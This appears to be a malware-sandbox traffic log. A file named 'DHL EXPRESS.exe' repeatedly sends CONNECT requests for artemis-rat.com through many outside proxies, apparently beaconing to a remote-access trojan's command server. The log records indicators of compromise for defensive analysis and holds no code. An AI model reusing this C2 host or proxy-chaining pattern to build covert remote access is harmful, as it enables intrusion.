Mar 11, 2024 18:36:48.909508944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.065403938 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
787	192.168.2.8	52242	175.183.82.221	8193	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.460299015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
788	192.168.2.8	51644	104.238.111.107	26305	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.460335970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.456562042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.458012104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.457040071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.456439018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.456517935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:36.581322908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:00.597081900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:48.690728903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
789	192.168.2.8	51560	202.179.184.44	5430	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.460457087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
790	192.168.2.8	52295	154.205.152.96	9080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.460694075 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:50.671766996 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
791	192.168.2.8	51380	184.170.248.5	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.461458921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
792	192.168.2.8	52291	23.95.209.142	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.461596012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
793	192.168.2.8	50161	162.241.53.72	57364	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.468321085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.565783024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.566268921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.565953970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.566000938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.565640926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:36.581442118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:00.597081900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
794	192.168.2.8	51098	199.102.107.145	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.473498106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
795	192.168.2.8	52297	38.54.95.19	9080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.474740028 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:50.752269030 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:36:51.870575905 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:36:53.182594061 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:36:55.838488102 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:37:01.214481115 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:37:11.710388899 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:37:33.983014107 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
796	192.168.2.8	52310	104.25.58.39	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.475122929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.629686117 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
797	192.168.2.8	52285	103.200.135.229	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.479398012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
798	192.168.2.8	52288	72.210.221.223	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.487785101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
799	192.168.2.8	52329	104.25.244.70	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.487936974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.642188072 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
800	192.168.2.8	52026	91.107.180.250	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.496898890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.508564949 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
801	192.168.2.8	51733	189.240.60.166	9090	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.498378038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.788800001 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
802	192.168.2.8	51144	112.30.155.83	12792	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.522994041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.565782070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.818361998 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:36:53.832263947 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
803	192.168.2.8	52365	159.65.77.168	8585	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.531900883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
804	192.168.2.8	52286	43.129.228.46	7891	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.544548035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
805	192.168.2.8	52300	43.163.192.3	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.552804947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
806	192.168.2.8	52289	37.235.48.19	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.561094046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
807	192.168.2.8	52581	5.161.108.72	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.567143917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
808	192.168.2.8	52583	5.161.108.72	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.568604946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
809	192.168.2.8	52351	52.73.224.54	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.569602966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.787352085 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:48 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
810	192.168.2.8	52584	5.161.108.72	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.570631027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
811	192.168.2.8	51730	60.188.102.225	18080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.581144094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
812	192.168.2.8	52299	212.127.93.185	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.606049061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
813	192.168.2.8	52301	154.12.178.107	29985	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.643409967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
814	192.168.2.8	52319	114.156.77.107	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.649097919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
815	192.168.2.8	51599	80.78.64.70	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.649401903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
816	192.168.2.8	52340	70.166.167.55	57745	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.649686098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
817	192.168.2.8	51592	196.1.95.124	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.649837017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.768975973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.769642115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.769469976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
